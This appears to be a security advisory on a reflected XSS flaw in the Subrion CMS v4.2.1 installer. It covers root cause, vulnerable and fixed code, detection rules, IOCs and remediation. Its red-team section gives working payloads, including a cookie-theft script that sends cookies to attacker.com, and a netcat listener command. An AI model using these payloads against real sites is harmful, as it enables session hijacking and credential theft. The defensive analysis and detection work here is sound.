CVE-2025-70958

Executive Summary

CVE-2025-70958 identifies multiple reflected cross-site scripting (XSS) vulnerabilities in the installation module of Subrion CMS v4.2.1. An attacker can inject arbitrary JavaScript into the dbuser, dbpwd, and dbname parameters during the installation process. Successful exploitation requires user interaction (e.g., clicking a crafted link) and can lead to session hijacking, credential theft, or further compromise within the user's browser context. The vulnerability is unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

Subrion CMS is a PHP-based content management system distributed via its official website and GitHub. The vulnerable installation module is part of the core package. No third-party package manager (e.g., Composer) is directly involved, but users who install Subrion via manual download or Docker images are affected. The lack of a patch increases supply chain risk for organizations relying on this CMS.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The impact is limited to the browser context, but combined with social engineering, it can lead to significant data theft.

Deep Dive & Mechanics

The installation module of Subrion CMS v4.2.1 does not properly sanitize user-supplied input in the dbuser, dbpwd, and dbname parameters. When a user submits the installation form, these parameters are reflected back in the HTML response without encoding or escaping. An attacker can craft a URL containing malicious JavaScript payloads in these parameters. If a victim clicks the link, the payload executes in their browser, allowing the attacker to steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Root Cause: Lack of output encoding in the installation module's response handling. The application directly echoes user input into the page without using htmlspecialchars() or similar functions.

Attack Flow:

1. Attacker crafts a malicious URL: http://target/install/index.php?dbuser=<script>alert('XSS')</script>&dbpwd=test&dbname=test
2. Victim clicks the link (e.g., via phishing email).
3. The installation module processes the request and reflects the payload in the response.
4. The victim's browser executes the JavaScript, giving the attacker control.

Vulnerable vs. Patched Code

Vulnerable Code (Subrion CMS v4.2.1):

// In installation module (e.g., install/index.php)
$dbuser = $_GET['dbuser'];
echo "Database User: " . $dbuser;

Patched Code (Hypothetical Fix):

$dbuser = htmlspecialchars($_GET['dbuser'], ENT_QUOTES, 'UTF-8');
echo "Database User: " . $dbuser;

The vulnerable code directly outputs the parameter without sanitization. The patched version uses htmlspecialchars() to encode special characters, preventing script execution.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of Subrion CMS v4.2.1 (installation phase).
• A web browser or tool like curl.

Exploit Payload:

<script>alert('XSS')</script>

Crafted URL:

http://target/install/index.php?dbuser=<script>alert('XSS')</script>&dbpwd=test&dbname=test

Advanced Payload (Cookie Theft):

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>

Usage:

1. Host a listener on attacker machine: nc -lvnp 80
2. Send the crafted URL to the victim.
3. When the victim clicks, the cookie is sent to the attacker.

Blue Team (Detection & Defense)

Detection:

• Monitor web logs for requests to /install/index.php with suspicious parameters containing <script> or onerror= patterns.
• Use WAF rules to block XSS payloads in query strings.

Defense:

• Immediately disable or remove the installation module after setup.
• Apply input validation and output encoding manually if no patch is available.
• Use Content Security Policy (CSP) headers to restrict script execution.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests to /install/index.php with parameters containing <script>, onerror, alert(, or document.cookie.
  • Outbound connections to attacker-controlled domains from the victim's browser.

• File IOCs:

  • Modified installation files (e.g., install/index.php) if attacker gains write access.
  • Suspicious entries in web server access logs (e.g., GET /install/index.php?dbuser=<script>...).

• Behavioral IOCs:

  • Unexpected redirects or pop-ups during CMS installation.
  • Unauthorized cookie theft or session hijacking.

Detection Engineering

YARA Rule

rule Detect_Subrion_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting Subrion CMS installation module"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-70958"
    strings:
        $xss1 = /dbuser=.*<script>/i
        $xss2 = /dbpwd=.*<script>/i
        $xss3 = /dbname=.*<script>/i
        $xss4 = /dbuser=.*onerror=/i
        $xss5 = /dbpwd=.*onerror=/i
        $xss6 = /dbname=.*onerror=/i
    condition:
        any of ($xss*)
}

Sigma Rule

title: Subrion CMS Installation Module XSS Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts against Subrion CMS v4.2.1 installation module
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-70958
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - 'dbuser=<script'
            - 'dbpwd=<script'
            - 'dbname=<script'
            - 'dbuser=onerror='
            - 'dbpwd=onerror='
            - 'dbname=onerror='
    condition: selection
falsepositives:
    - Legitimate use of script tags in testing environments (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-70958 Subrion CMS Installation XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/install/index.php"; http_uri; content:"dbuser"; http_uri; pcre:"/(dbuser|dbpwd|dbname)=.*<script>/i"; sid:1000001; rev:1; reference:cve,2025-70958;)

Remediation & Mitigation

Immediate Actions:

1. Disable the installation module: Remove or rename the /install/ directory after initial setup.
2. Apply input validation: Manually patch the vulnerable file by adding htmlspecialchars() to all reflected parameters.
3. Use a Web Application Firewall (WAF): Block requests containing XSS patterns in query strings.

Long-Term Fix:

• Monitor the Subrion CMS repository for an official patch. If none is released, consider migrating to a supported CMS.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits of custom code.

Workaround:

• If the installation module must remain accessible, restrict access via .htaccess or firewall rules to trusted IPs only.

Valters IT
Securing Digital Frontiers